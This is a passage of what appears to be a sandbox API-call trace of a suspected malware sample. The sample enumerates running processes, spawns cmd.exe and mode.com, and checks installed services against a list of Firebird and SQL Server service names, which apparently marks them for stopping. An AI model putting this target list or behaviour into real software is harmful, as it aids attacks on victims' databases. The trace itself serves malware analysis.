	[0167.946] lstrlenW (lpString="dwm.exe") returned 7
	[0167.946] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.947] lstrlenW (lpString="svchost.exe") returned 11
	[0167.947] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.947] lstrlenW (lpString="svchost.exe") returned 11
	[0167.947] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.948] lstrlenW (lpString="svchost.exe") returned 11
	[0167.948] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.948] lstrlenW (lpString="svchost.exe") returned 11
	[0167.948] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.949] lstrlenW (lpString="svchost.exe") returned 11
	[0167.949] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.949] lstrlenW (lpString="svchost.exe") returned 11
	[0167.949] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.950] lstrlenW (lpString="svchost.exe") returned 11
	[0167.950] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.950] lstrlenW (lpString="svchost.exe") returned 11
	[0167.950] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.951] lstrlenW (lpString="svchost.exe") returned 11
	[0167.951] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.951] lstrlenW (lpString="svchost.exe") returned 11
	[0167.951] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0167.952] lstrlenW (lpString="spoolsv.exe") returned 11
	[0167.952] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.952] lstrlenW (lpString="svchost.exe") returned 11
	[0167.953] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0167.953] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0167.953] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0167.953] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0167.954] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0167.954] lstrlenW (lpString="audiodg.exe") returned 11
	[0167.954] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0167.955] lstrlenW (lpString="Memory Compression") returned 18
	[0167.955] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0167.955] lstrlenW (lpString="taskhostw.exe") returned 13
	[0167.955] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0167.956] lstrlenW (lpString="sihost.exe") returned 10
	[0167.956] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.956] lstrlenW (lpString="svchost.exe") returned 11
	[0167.956] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0167.957] lstrlenW (lpString="taskhostw.exe") returned 13
	[0167.957] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0167.958] lstrlenW (lpString="explorer.exe") returned 12
	[0167.958] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0167.959] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0167.959] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0167.959] lstrlenW (lpString="SearchUI.exe") returned 12
	[0167.959] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0167.960] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0167.960] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0167.961] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0167.961] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0167.961] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0167.962] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0167.962] lstrlenW (lpString="cmd.exe") returned 7
	[0167.962] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.963] lstrlenW (lpString="conhost.exe") returned 11
	[0167.963] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0167.964] lstrlenW (lpString="mode.com") returned 8
	[0167.964] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0167.964] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0167.964] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0
	[0167.965] CloseHandle (hObject=0x440) returned 1
	[0167.965] Sleep (dwMilliseconds=0x1f4) 
	[0168.620] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929e30
	[0168.620] EnumServicesStatusExW (in: hSCManager=0x3929e30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0168.621] GetLastError () returned 0xea
	[0168.621] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x40ab8d8
	[0168.621] EnumServicesStatusExW (in: hSCManager=0x3929e30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40ab8d8, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40ab8d8, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0168.621] CloseServiceHandle (hSCObject=0x3929e30) returned 1
	[0168.622] lstrlenW (lpString="AppXSvc") returned 7
	[0168.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0168.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0168.622] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0168.622] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0168.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0168.622] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0168.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0168.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0168.622] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0168.622] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0168.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0168.622] lstrlenW (lpString="Audiosrv") returned 8
	[0168.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0168.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0168.622] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0168.622] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0168.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0168.622] lstrlenW (lpString="BFE") returned 3
	[0168.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0168.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0168.622] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0168.622] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0168.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0168.622] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0168.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0168.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0168.622] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0168.623] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0168.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0168.623] lstrlenW (lpString="CDPSvc") returned 6
	[0168.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0168.623] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0168.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0168.623] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0168.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0168.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0168.623] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0168.623] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0168.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0168.623] lstrlenW (lpString="CryptSvc") returned 8
	[0168.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0168.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0168.623] lstrlenW (lpString="DcomLaunch") returned 10
	[0168.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0168.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0168.623] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0168.623] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0168.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0168.623] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0168.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0168.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0168.624] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0168.624] lstrlenW (lpString="Dhcp") returned 4
	[0168.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0168.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0168.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0168.624] lstrlenW (lpString="Dnscache") returned 8
	[0168.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0168.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0168.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0168.624] lstrlenW (lpString="DPS") returned 3
	[0168.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0168.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0168.624] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0168.624] lstrlenW (lpString="DusmSvc") returned 7
	[0168.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0168.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0168.624] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0168.624] lstrlenW (lpString="EventLog") returned 8
	[0168.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0168.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0168.624] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0168.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0168.624] lstrlenW (lpString="EventSystem") returned 11
	[0168.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0168.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0168.625] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0168.625] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0168.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0168.625] lstrlenW (lpString="FontCache") returned 9
	[0168.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0168.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0168.625] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0168.625] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0168.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0168.625] lstrlenW (lpString="gpsvc") returned 5
	[0168.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0168.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0168.625] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0168.625] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0168.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0168.625] lstrlenW (lpString="iphlpsvc") returned 8
	[0168.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0168.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0168.625] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0168.625] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0168.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0168.625] lstrlenW (lpString="KeyIso") returned 6
	[0168.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0168.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0168.625] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0168.625] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0168.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0168.625] lstrlenW (lpString="LanmanServer") returned 12
	[0168.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0168.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0168.625] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0168.625] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0168.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0168.625] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0168.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0168.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0168.626] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0168.626] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0168.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0168.626] lstrlenW (lpString="lfsvc") returned 5
	[0168.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0168.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0168.626] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0168.626] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0168.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0168.626] lstrlenW (lpString="lmhosts") returned 7
	[0168.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0168.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0168.626] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0168.626] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0168.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0168.626] lstrlenW (lpString="LSM") returned 3
	[0168.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0168.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0168.626] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0168.626] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0168.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0168.626] lstrlenW (lpString="MpsSvc") returned 6
	[0168.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0168.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0168.626] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0168.626] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0168.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0168.626] lstrlenW (lpString="NcbService") returned 10
	[0168.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
